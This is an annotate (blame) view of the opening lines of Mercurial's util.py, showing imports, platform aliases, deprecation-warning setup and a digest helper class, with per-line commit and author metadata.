mercurial-scm/hg-stable: mercurial/util.py annotate

annotate mercurial/util.py @ 39579:b31b01f93b11

util: properly copy lrucachedict instances Previously, copy() only worked if the cache was full. We teach copy() to only copy defined nodes. Differential Revision: https://phab.mercurial-scm.org/D4498

author	Gregory Szorc <gregory.szorc@gmail.com>
date	Thu, 06 Sep 2018 11:33:40 -0700
parents	e00123f63410
children	5d75a3c16193

rev	line source
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	1 # util.py - Mercurial utility functions and platform specific implementations
8226 8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	2 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	6 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	7 # This software may be used and distributed according to the terms of the
10263 25e572394f5c Update license to GPLv2+ Matt Mackall <mpm@selenic.com> parents: 9996 diff changeset	8 # GNU General Public License version 2 or any later version.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	9
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	10 """Mercurial utility functions and platform specific implementations.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	11
8227 0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	13 hide platform-specific details from the core.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	14 """
419 28511fc21073 [PATCH] file seperator handling for the other 'OS' mpm@selenic.com parents: diff changeset	15
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	16 from __future__ import absolute_import, print_function
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	17
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	18 import abc
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	19 import bz2
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	20 import collections
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	21 import contextlib
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	22 import errno
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	23 import gc
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	24 import hashlib
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	25 import itertools
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	26 import mmap
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	27 import os
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	28 import platform as pyplatform
21907 7e5dfa00e3c2 util: rename 're' to 'remod' Siddharth Agarwal <sid0@fb.com> parents: 21857 diff changeset	29 import re as remod
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	30 import shutil
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	31 import socket
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	32 import stat
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	33 import sys
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	34 import time
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	35 import traceback
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	36 import warnings
26266 1e042e31bd0c changegroup: move all compressions utilities in util Pierre-Yves David <pierre-yves.david@fb.com> parents: 26201 diff changeset	37 import zlib
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	38
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	39 from .thirdparty import (
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	40 attr,
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	41 )
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	42 from hgdemandimport import tracing
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	43 from . import (
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	44 encoding,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	45 error,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	46 i18n,
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	47 node as nodemod,
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	48 policy,
28818 6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence timeless <timeless@mozdev.org> parents: 28497 diff changeset	49 pycompat,
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	50 urllibcompat,
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	51 )
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	52 from .utils import (
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	53 procutil,
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	54 stringutil,
f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	55 )
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	56
32407 008d37c4d783 base85: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32406 diff changeset	57 base85 = policy.importmod(r'base85')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	58 osutil = policy.importmod(r'osutil')
32411 df448de7cf3b parsers: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32407 diff changeset	59 parsers = policy.importmod(r'parsers')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	60
32245 4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	61 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	62 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	63
31934 12aca6770046 util: make cookielib module available Gregory Szorc <gregory.szorc@gmail.com> parents: 31878 diff changeset	64 cookielib = pycompat.cookielib
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	65 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	66 pickle = pycompat.pickle
37102 6ca5f825a0ca util: make safehasattr() a pycompat function Yuya Nishihara <yuya@tcha.org> parents: 37101 diff changeset	67 safehasattr = pycompat.safehasattr
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	68 socketserver = pycompat.socketserver
36964 644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	69 bytesio = pycompat.bytesio
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	70 # TODO deprecate stringio name, as it is a lie on Python 3.
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	71 stringio = bytesio
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	72 xmlrpclib = pycompat.xmlrpclib
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	73
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	74 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	75 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	76 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	77
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	78 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	79 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	80
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	81 if pycompat.iswindows:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	82 from . import windows as platform
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	83 else:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	84 from . import posix as platform
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	85
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	86 _ = i18n._
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	87
29530 3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path Yuya Nishihara <yuya@tcha.org> parents: 29455 diff changeset	88 bindunixsocket = platform.bindunixsocket
14927 2aa3e07b2f07 posix, windows: introduce cachestat Idan Kamara <idankk86@gmail.com> parents: 14926 diff changeset	89 cachestat = platform.cachestat
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	90 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	91 checklink = platform.checklink
15011 5e44e4b3a0a3 util: move copymode into posix.py and windows.py Adrian Buehlmann <adrian@cadifra.com> parents: 15010 diff changeset	92 copymode = platform.copymode
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	93 expandglobs = platform.expandglobs
35517 c4caf530b1c7 util: add a function to show the mount point of the filesystem Matt Harbison <matt_harbison@yahoo.com> parents: 35515 diff changeset	94 getfsmountpoint = platform.getfsmountpoint
35513 beede158ea8a util: move getfstype() to the platform modules Matt Harbison <matt_harbison@yahoo.com> parents: 35464 diff changeset	95 getfstype = platform.getfstype
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	96 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	97 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	98 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	99 isowner = platform.isowner
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	100 listdir = osutil.listdir
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	101 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	102 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	103 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	104 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	105 normpath = platform.normpath
15488 6eff984d8e76 dirstate: fix case-folding identity for traditional Unix Matt Mackall <mpm@selenic.com> parents: 15392 diff changeset	106 normcase = platform.normcase
24605 98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	107 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	108 normcasefallback = platform.normcasefallback
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	109 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	110 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	111 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	112 pconvert = platform.pconvert
25420 c2ec81891502 util: add a simple poll utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25406 diff changeset	113 poll = platform.poll
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	114 posixfile = platform.posixfile
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	115 rename = platform.rename
24692 144883a8d0d4 util: add removedirs as platform depending function FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 24635 diff changeset	116 removedirs = platform.removedirs
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	117 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	118 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	119 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	120 setflags = platform.setflags
17560 9ee25d7b1aed util: implement a faster os.path.split for posix systems Bryan O'Sullivan <bryano@fb.com> parents: 17537 diff changeset	121 split = platform.split
18026 ddc0323db78b osutil: write a C implementation of statfiles for unix Bryan O'Sullivan <bryano@fb.com> parents: 18013 diff changeset	122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868 cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	123 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	124 statislink = platform.statislink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	125 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	126 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	127 username = platform.username
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	128
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	129 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	130 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	131 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	132 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	133
6470 ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions Dirkjan Ochtman <dirkjan@ochtman.nl> parents: 6339 diff changeset	134 # Python compatibility
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	135
15656 4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	136 _notset = object()
4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	137
30745 c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	138 def bitsfrom(container):
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	139 bits = 0
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	140 for bit in container:
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	141 bits \|= bit
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	142 return bits
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	143
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	144 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	145 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	146 # only use python deprecation warning in this case.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	147 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	148 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	149 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	150 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	151 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	152 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	153 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	154 # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952 a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
36617 281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	158 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	159 # silence warning emitted by passing user string to re.sub()
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	160 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	161 r'mercurial')
36722 aa9c5d447980 util: also silence py3 warnings from codec module Augie Fackler <augie@google.com> parents: 36660 diff changeset	162 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
aa9c5d447980 util: also silence py3 warnings from codec module Augie Fackler <augie@google.com> parents: 36660 diff changeset	163 DeprecationWarning, r'mercurial')
37455 9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	164 # TODO: reinvent imp.is_frozen()
9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	165 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	166 DeprecationWarning, r'mercurial')
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	167
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	168 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	169 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	170
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	171 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	172 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	173 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	174 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	175 " update your code.)") % version
36166 02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn Augie Fackler <augie@google.com> parents: 36076 diff changeset	176 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	177
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	178 DIGESTS = {
29342 c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	179 'md5': hashlib.md5,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	180 'sha1': hashlib.sha1,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	181 'sha512': hashlib.sha512,
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	182 }
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	183 # List of digest types from strongest to weakest
27357 7f5a0bd4c9aa util: make hashlib import unconditional Gregory Szorc <gregory.szorc@gmail.com> parents: 27112 diff changeset	184 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	185
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	186 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	187 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	188
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	189 class digester(object):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	190 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	191
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	192 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	193
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	194 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	195 >>> d.update(b'foo')
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	196 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	197 ['md5', 'sha1']
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	198 >>> d[b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	199 'acbd18db4cc2f85cedef654fccc4a4d8'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	200 >>> d[b'sha1']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	201 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	202 >>> digester.preferred([b'md5', b'sha1'])
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	203 'sha1'
